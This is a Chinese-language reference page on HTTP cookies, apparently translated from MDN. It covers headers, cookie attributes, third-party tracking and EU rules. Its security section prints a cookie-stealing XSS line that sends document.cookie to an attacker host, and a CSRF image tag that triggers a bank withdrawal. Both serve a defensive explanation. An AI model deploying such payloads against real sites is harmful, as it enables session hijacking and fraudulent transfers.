?
本文檔使用 PHP中文網(wǎng)手冊 發(fā)布
HTTP cookie(網(wǎng)絡(luò)cookie,瀏覽器cookie)是服務(wù)器發(fā)送給用戶網(wǎng)絡(luò)瀏覽器的一小部分數(shù)據(jù)。瀏覽器可以存儲它,并將下一個請求發(fā)回給同一臺服務(wù)器。通常,它用于判斷兩個請求是否來自同一瀏覽器 - 例如,保持用戶登錄。它記住無狀態(tài)HTTP協(xié)議的有狀態(tài)信息。
Cookies主要用于三個目的:
會話管理登錄,購物車,游戲成績或服務(wù)器應記住的任何其他內(nèi)容個性化用戶偏好,主題和其他設(shè)置跟蹤記錄和分析用戶行為
Cookies曾經(jīng)用于一般的客戶端存儲。雖然這是合法的,但它們是將數(shù)據(jù)存儲在客戶端的唯一方式,現(xiàn)在推薦使用現(xiàn)代存儲API。Cookies隨每個請求一起發(fā)送,因此可能會惡化性能(特別是對于移動數(shù)據(jù)連接)。用于客戶端存儲的現(xiàn)代API是Web存儲API(localStorage
和sessionStorage
)和IndexedDB。
要查看存儲的Cookie(以及網(wǎng)頁可以使用的其他存儲),可以在Developer Tools中啟用Storage Inspector,然后從存儲樹中選擇Cookies。
當收到一個HTTP請求時,服務(wù)器可以發(fā)送一個Set-Cookie
包含響應的頭部。Cookie通常由瀏覽器存儲,然后將Cookie發(fā)送到Cookie
HTTP標頭內(nèi)的同一服務(wù)器。可以指定過期日期或持續(xù)時間,之后不再發(fā)送cookie。此外,可以設(shè)置對特定域和路徑的限制,限制cookie的發(fā)送位置。
Set-Cookie
與Cookie
頭所述Set-Cookie
HTTP響應報頭從服務(wù)器向用戶代理發(fā)送的cookie。一個簡單的cookie就像這樣設(shè)置:
Set-Cookie: <cookie-name>=<cookie-value>
服務(wù)器的這個頭文件告訴客戶端存儲一個cookie。
注意:以下是Set-Cookie
在各種服務(wù)器端應用程序中使用標題的方法:
PHP
Node.JS
Python
Ruby on Rails
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry[page content]
現(xiàn)在,隨著對服務(wù)器的每個新請求,瀏覽器都會使用Cookie
標題將所有先前存儲的cookie發(fā)送回服務(wù)器。
GET /sample_page.html HTTP/1.1Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
上面創(chuàng)建的cookie是一個會話cookie:它在客戶端關(guān)閉時被刪除,因為它沒有指定Expires
or Max-Age
指令。但是,Web瀏覽器可能會使用會話恢復,這會使大多數(shù)會話Cookie永久化,就好像瀏覽器從未關(guān)閉一樣。
當客戶關(guān)閉時,永久性Cookie不會在特定日期(Expires
)或特定時間長度后終止(Max-Age
)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
注意:如果設(shè)置了到期日期,則設(shè)置的時間和日期與cookie的設(shè)置客戶端相關(guān),而不是服務(wù)器。
Secure
和HttpOnly
餅干安全Cookie只能通過HTTPS協(xié)議通過加密請求發(fā)送到服務(wù)器。即使在這種情況下Secure
,敏感信息也不應該存儲在cookie中,因為它們固有地不安全,并且此標志不能提供真正的保護。從Chrome 52和Firefox 52開始,不安全的站點(http:
)無法使用該Secure
指令設(shè)置Cookie 。
為了防止跨站點腳本攻擊(XSS)攻擊,HttpOnly
JavaScript的Document.cookie
API 無法訪問Cookie ; 他們只被發(fā)送到服務(wù)器。例如,持久化服務(wù)器端會話的cookie不需要對JavaScript可用,并且HttpOnly
應該設(shè)置標志。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
在Domain
與Path
指令定義的范圍的cookie:什么網(wǎng)址應發(fā)送到cookie。
Domain
指定允許的主機接收cookie。如果沒有指定,則默認為主機當前文檔的位置,但不包括子域。如果Domain
被指定,那么子域總是被包括在內(nèi)。
例如,如果Domain=mozilla.org
設(shè)置了,則cookie就包含在子域名developer.mozilla.org
中。
Path
表示必須存在于所請求的URL中以便發(fā)送Cookie
標頭的URL路徑。%x2F(“/”)字符被認為是一個目錄分隔符,并且子目錄也會匹配。
例如,如果設(shè)置Path=/docs
,這些路徑將匹配:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
cookiesSameSite
Cookie允許服務(wù)器要求Cookie不應該與跨站點請求一起發(fā)送,這有助于防止跨站請求偽造攻擊(CSRF)。SameSite
Cookie仍然是實驗性的,并且尚未被所有瀏覽器支持。
Document.cookie
新的cookies也可以通過使用該Document.cookie
屬性的JavaScript創(chuàng)建,如果該HttpOnly
標志沒有設(shè)置,現(xiàn)有的cookie也可以通過JavaScript訪問。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"
請注意下面安全部分中的安全問題。JavaScript可用的cookie可以通過XSS被盜取。
機密或敏感信息絕不應以HTTP Cookie存儲或傳輸,因為整個機制固有不安全。
Cookie通常用于Web應用程序中以識別用戶及其已驗證的會話,因此竊取cookie可能會導致劫持經(jīng)過驗證的用戶會話。竊取cookie的常見方式包括社交工程或利用應用程序中的XSS漏洞。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
該HttpOnly
cookie的屬性可以幫助緩解防止通過JavaScript訪問cookie值這種攻擊。
Wikipedia提到CSRF的一個很好的例子。在這種情況下,某人包含的圖像不是真正的圖像(例如在未經(jīng)過濾的聊天或論壇中),而是確實要求您的銀行服務(wù)器進行提款:
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
現(xiàn)在,如果您登錄了您的銀行帳戶并且您的Cookie仍然有效(并且沒有其他驗證),那么只要您加載包含此圖片的HTML,就會立即轉(zhuǎn)賬。有幾種技術(shù)可以用來防止這種情況的發(fā)生:
與XSS一樣,輸入過濾非常重要。
任何敏感行為都應該始終有確認。
用于敏感操作的Cookie只應具有較短的使用期限。
有關(guān)更多預防提示,請參閱OWASP CSRF預防備忘單(https://www.owasp.org/index.php/Cross-Site Request_Forgery(CSRF%29_Prevention_Cheat_Sheet))。
Cookie有一個與他們相關(guān)的域名。如果此網(wǎng)域與您所在網(wǎng)頁的網(wǎng)域相同,則說這些Cookie為第一方Cookie。如果域名不同,則說它是第三方cookie。盡管第一方cookie僅發(fā)送給設(shè)置它們的服務(wù)器,但網(wǎng)頁可能包含存儲在其他域(如廣告條)中的服務(wù)器上的圖像或其他組件。通過這些第三方組件發(fā)送的Cookie稱為第三方Cookie,主要用于在整個網(wǎng)絡(luò)上進行廣告和跟蹤。請參閱Google使用的Cookie類型。大多數(shù)瀏覽器默認允許使用第三方cookie,但有附加組件可用于阻止它們(例如,Privacy Badger byEFF)。
如果您不透露第三方cookies,如果發(fā)現(xiàn)cookie使用,消費者信任可能會受到傷害。明確的披露(例如在隱私政策中)傾向于消除cookie發(fā)現(xiàn)的任何負面影響。有些國家也有關(guān)于cookies的立法。
它的使用沒有任何法律或技術(shù)要求,但DNT
標題可用于表示W(wǎng)eb應用程序應禁用其跟蹤或跨站點用戶跟蹤個人用戶。請參閱DNT
標題以獲取更多信息。
歐盟對cookies的要求在歐盟議會指令2009/136 / EC中定義,并于2011年5月25日生效。指令本身不是法律,而是要求歐盟成員國制定法律符合指令的要求。實際的法律可能因國家而異。
簡而言之,歐盟指令意味著在有人可以存儲或檢索來自計算機,移動電話或其他設(shè)備的任何信息之前,用戶必須給予知情同意才能這樣做。許多網(wǎng)站自此添加了橫幅,以通知用戶有關(guān)Cookie的使用。
更為激進的方法是 zombie cookies 或“Evercookies”,它們在刪除后重新創(chuàng)建,故意難以永久刪除。他們使用Web存儲API,F(xiàn)lash本地共享對象和其他技術(shù)在檢測到cookie不存在時重新創(chuàng)建自己。
Set-Cookie
Cookie